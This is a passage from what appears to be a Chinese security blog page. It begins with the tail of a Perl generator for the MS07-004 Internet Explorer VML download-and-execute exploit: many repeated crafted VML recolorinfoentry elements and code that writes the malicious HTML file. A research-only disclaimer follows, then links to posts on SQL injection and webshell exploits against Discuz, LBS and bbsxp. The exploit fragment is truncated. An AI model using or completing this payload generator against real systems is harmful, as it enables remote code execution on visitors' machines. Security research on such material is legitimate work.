tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v/recolorinfo> </html> BODY open H,">$html" or die $! and exit; print H $body;

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

左青龙
微信扫一扫

右白虎
微信扫一扫

MS Internet Explorer VML Download and Execute Exploit (MS07-004生成器) 's

Discuz! 5.0.0 GBK SQL injection / admin credentials disclosure exploit

LBS 2.0.313 重要安全更新 [2007-07-03] 's

LBS blog又一注射漏洞含漏洞解析和exp 's

Penetration Testing 渗透测试 (11%) 's

bbsxp 2007[以前版本不知道]一个有意思的漏洞 's

bbsxp 2007斑竹权限注射 's

bbsxp 2007 注射漏洞 's

BBSXP7 mssql版，从注入到拿WEBSHELL 's

LBS 2.0.312 重要安全更新 [2007-06-29] 's

LBS blog sql注射漏洞[All version] 's

发表评论

在线咨询

微信